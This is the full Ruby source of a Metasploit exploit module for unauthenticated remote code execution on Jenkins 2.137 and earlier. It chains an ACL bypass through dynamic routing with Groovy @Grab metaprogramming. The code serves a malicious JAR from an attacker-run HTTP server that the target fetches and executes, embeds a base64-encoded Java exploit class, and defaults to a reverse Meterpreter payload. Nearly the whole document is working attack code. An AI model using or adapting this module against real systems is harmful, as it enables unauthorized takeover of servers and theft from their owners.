1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE', 'Description'=> %q{ This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. }, 'Author' => [ 'Orange Tsai', # Discovery and PoC 'wvu'# Metasploit module ], 'References' => [ ['CVE', '2019-1003000'], # Script Security ['CVE', '2019-1003001'], # Pipeline: Groovy ['CVE', '2019-1003002'], # Pipeline: Declarative ['EDB', '46427'], ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'], ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'], ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'], ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'] ], 'DisclosureDate' => '2019-01-08', # Public disclosure 'License'=> MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets'=> [ ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', 'Version'=> Gem::Version.new('2.137') ] ], 'DefaultTarget'=> 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}, 'Notes'=> { 'Stability'=> [CRASH_SAFE], 'SideEffects'=> [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability'=> [REPEATABLE_SESSION] }, 'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive! )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('URIPATH') end =begin http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] =end def check checkcode = CheckCode::Safe res = send_request_cgi( 'method' => 'GET', 'uri'=> go_go_gadget1('/search/index'), 'vars_get' => {'q' => 'a'} ) unless res && (version = res.headers['X-Jenkins']) vprint_error('Jenkins not detected') return CheckCode::Unknown end vprint_status("Jenkins #{version} detected") checkcode = CheckCode::Detected if Gem::Version.new(version) > target['Version'] vprint_error("Jenkins #{version} is not a supported target") return CheckCode::Safe end vprint_good("Jenkins #{version} is a supported target") checkcode = CheckCode::Appears if res.body.include?('Administrator') vprint_good('ACL bypass successful') checkcode = CheckCode::Vulnerable else vprint_error('ACL bypass unsuccessful') return CheckCode::Safe end checkcode end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS # HACK: Both HttpClient and HttpServer use datastore['SSL'] ssl = datastore['SSL'] datastore['SSL'] = false start_service('Path' => '/') datastore['SSL'] = ssl print_status('Sending Jenkins and Groovy go-go-gadgets') send_request_cgi( 'method' => 'GET', 'uri'=> go_go_gadget1, 'vars_get' => {'value' => go_go_gadget2} ) end # # Exploit methods # =begin http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai =end def go_go_gadget1(custom_uri = nil) # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin') return normalize_uri(acl_bypass, custom_uri) if custom_uri normalize_uri( acl_bypass, '/descriptorByName', '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile' ) end =begin http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; =end def go_go_gadget2 ( <<~EOF @GrabConfig(disableChecksums=true) @GrabResolver('http://#{srvhost_addr}:#{srvport}/') @Grab('#{vendor}:#{app}:#{version}') import #{app} EOF ).strip end # # Payload methods # # # If you deviate from the following sequence, you will suffer! # # HEAD /path/to/pom.xml -> 404 # HEAD /path/to/payload.jar -> 200 # GET/path/to/payload.jar -> 200 # def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri} requested") unless %w[HEAD GET].include?(request.method) vprint_error("Ignoring #{request.method} request") return end if request.method == 'HEAD' if request.uri != payload_uri vprint_error('Sending 404') return send_not_found(cli) end vprint_good('Sending 200') return send_response(cli, '') end if request.uri != payload_uri vprint_error('Sending bogus file') return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") end vprint_good('Sending payload JAR') send_response( cli, payload_jar, 'Content-Type' => 'application/java-archive' ) # XXX: $HOME may not work in some cases register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") end def payload_jar jar = payload.encoded_jar jar.add_file("#{app}.class", exploit_class) jar.add_file( 'META-INF/services/org.codehaus.groovy.plugins.Runners', "#{app}\n" ) jar.pack end =begin javac Exploit.java import metasploit.Payload; public class Exploit { public Exploit(){ try { Payload.main(null); } catch (Exception e) { } } } =end def exploit_class klass = Rex::Text.decode_base64( <<~EOF yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL AAAA EOF ) # Replace length-prefixed string "Exploit" with a random one klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}") end # # Utility methods # def payload_uri "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar" end def vendor @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join end def app @app ||= Faker::App.name.split(/[^[:alpha:]]/).join end def version @version ||= Faker::App.semantic_version end end |